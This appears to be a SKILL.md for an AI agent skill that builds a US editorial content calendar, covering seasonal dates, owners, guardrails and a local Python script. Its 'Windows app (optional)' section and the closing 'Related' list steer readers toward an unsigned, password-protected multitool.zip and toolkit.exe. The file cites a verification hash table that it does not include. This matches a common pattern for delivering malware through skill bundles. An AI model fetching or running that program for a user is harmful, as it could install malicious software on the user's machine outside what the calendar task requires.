Content Calendar Planner

Builds a dated editorial calendar with owners, channels and the US seasonal moments mapped to the weeks they fall in. Written for US in-house content managers and one-person marketing teams.

Use this skill when someone asks for:

• content calendar template
• editorial calendar planner
• monthly content schedule
• us marketing calendar

The job

Calendars live in a spreadsheet nobody updates, so launches collide with holidays and the same topic ships twice.

What you get

1. Collect the start date, the publishing cadence and the channels in play.
2. Fill each slot with format, owner, funnel stage and the keyword or topic.
3. Line up the US seasonal moments that land inside the window, with the lead time each one needs.
4. Show the gaps and the over-booked weeks so the plan is realistic before it is announced.

Output contract:

• plan - dated entries with format, channel, owner, topic and call to action
• calendar - the dated schedule at the chosen cadence across the horizon
• seasonal - the US moments inside the window with the date they land on
• conflicts - weeks with too many launches or two owners on one slot

US specifics that matter

• US individual income tax returns are due April 15, or the next business day when April 15 falls on a weekend or holiday, so tax content has to be live weeks earlier.
• Thanksgiving is the fourth Thursday of November and Black Friday is the day after.
• Memorial Day falls on the last Monday of May and Labor Day on the first Monday of September, so B2B campaigns plan around those Mondays.
• FTC's Endorsement Guides require a material connection to be disclosed, so a seasonal gift guide has to mark paid placements.

Guardrails (hard rules)

• Never put a seasonal moment in the plan without checking the date for that year.
• Never plan a sponsored slot without the disclosure line written into the slot.
• Never fill a slot with a statistic or a claim that has no source.

Quickstart

1. Fill in the brief

templates/calendar-plan.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_content_calendar.py --input calendar-plan.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/editorial-calendar.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Columns the calendar needs

• Date, channel, format, topic or keyword, funnel stage, owner, status and call to action.
• One owner per slot, written as a name or a role.
• Status values: idea, briefed, drafted, edited, scheduled, published.

US dates worth planning around

• April 15: individual income tax filing deadline, so tax content goes live by March.
• Fourth Thursday of November: Thanksgiving, and Black Friday the next day.
• Second Sunday of May: Mother's Day. Third Sunday of June: Father's Day.
• July 4: Independence Day, and September's first Monday: Labor Day.

Keeping the plan honest

• Leave about a quarter of the slots open for reactive work; full calendars break.
• Legal and compliance review takes longer than editing, so flag those slots early.
• A launch date needs a matching landing page date.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/editorial-calendar.md - Running a US editorial calendar
• templates/calendar-plan.csv - the brief to fill in
• scripts/build_content_calendar.py - the working script

Verify the bundle

python3 scripts/build_content_calendar.py --input calendar-plan.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.